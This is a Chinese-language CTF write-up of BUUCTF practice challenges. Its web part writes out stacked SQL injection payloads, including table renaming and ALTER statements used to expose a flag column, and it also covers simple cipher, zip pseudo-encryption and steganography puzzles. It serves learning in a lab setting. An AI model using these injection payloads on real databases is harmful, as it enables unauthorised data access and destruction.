题目来源:BUUCTF
目录
web 1[强网杯 2019]随便注
先判断是否有注入点,试一下1'
注入点找到了
然后判断出列数
222222
再用1' union select 1,database(); #
出现了报错
select等字符被过滤了,正常注入不能用,报错注入也不行!
看了下大师傅的WP尝试用堆叠注入。
我们先构造payload:1' ;show database; #
再次构造payload1' ;show tables; #
查看有几个表
只有两个表
从两个表里,我们再查询列
构造payload:0'; show columns from words ;#
再构造payload:
0';show columns from `1919810931114514`;#
先前忘了给字符加单引号,试了n次也没成功!到最后加字符才知道自己的无知太可怕,浪费了很多时间!!!
找到了flag的的列,下一步就是如何让他回显出来
上图,我们知道正则匹配过滤了很多字符,但是没有过滤alert
和rename
,这就可以来波骚姿势了
①先把words表改为word1
②再利用rename将1919810931114514这个表修改为word
③再将flag字段修改成id
构造payload:
0';RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;show columns from words;#
emmmmm,用1';show tables;#
修改成功了
访问0' or '1'='1
得到flag
这波有点小细节浪费了点时间。这道题对于我来说新知识太多了,待好好消化。
web 2 EasySQL
刚刚学会堆叠注入,这又来了一道
先构造payload:1 ;show databases ;
得到数据库
再看表1 ;show tables;
有个flag表
show columns from Flag???
不行的
看大师傅wp神之payload,根据报错写出了查询语句select $_GET['query'] || flag from flag
||意思是或,前面的语句为真,后面的语句便不再执行。
第一种思路
payload:*,1
那为什么payload能得到flag了
sql=select.post[‘query’]."||flag from Flag";
如果$post[‘query’]的数据为*,1,sql语句就变成了select *,1||flag from Flag,
就是select *,1 from Flag,这样就直接查询出了Flag表中的所有内容。
第二种思路
就是把||作为拼接符,再Oracle是支持的,但在MySQL里需要更改sql-mode
然后构造payload:1;set sql_mode=PIPES_AS_CONCAT;select 1
web题是真的难啊
!!!
Cyrto 1信息化时代的步伐
这是伟人说的一句话
打开附件得到606046152623600817831216121621196386
这种加密方式是:中文电码
哈哈哈哈哈,笑死我了
Cypto 2 凯撒?替换?呵呵!
拿到一串字符:MTHJ{CUBCGXGUGXWREXIPOYAOEYFIGXWRXCHTKHFCOHCFDUCGTXZOHIXOEOWMEHZO}
我以为是变异凯撒,但找了n遍也没有找到规律。
看大师傅 wp,用了暴力破解
直接solve
第一个flag转小写,切记去掉所有空格,要不然会出错
Cypto 3 old-fashion
得到一串字符
Os drnuzearyuwn, y jtkjzoztzoes douwlr oj y ilzwex eq lsdexosa kn pwodw tsozj eq ufyoszlbz yrl rlufydlx pozw douwlrzlbz, ydderxosa ze y rlatfyr jnjzli; mjy gfbmw vla xy wbfnsy symmyew (mjy vrwm qrvvrf), hlbew rd symmyew, mebhsymw rd symmyew, vbomgeyw rd mjy lxrzy, lfk wr dremj. Mjy eyqybzye kyqbhjyew mjy myom xa hyedrevbfn lf bfzyewy wgxwmbmgmbrf. Wr mjy dsln bw f1_2jyf-k3_jg1-vb-vl_l
没得感觉,按照上题就试了暴力破解
这句话总感觉怪怪的
Wr mjy dsln bw f1_2jyf-k3_jg1-vb-vl_l
hhhhh
Misc 1 zip伪加密
伪加密,我解决方法有两种
使用工具
直接破解
第二种,拉进winhex
原本的00 00改为09 00就会提示有密码了,换为00 00伪加密就没了
Misc 2 ningen
得到一张图片
试着用Binwalk分析
分离出一个zip压缩包
但是有密码,直接去爆破
得到flag
Misc 3 镜子里面的世界
文件名字就带有steg,我们直接就用隐写工具,仔细看几遍
red 0,green 0,blue 0最上方都有一串东西
我们data extract找到这三个通道
最后一行,就是flag了,以文本形式保存下来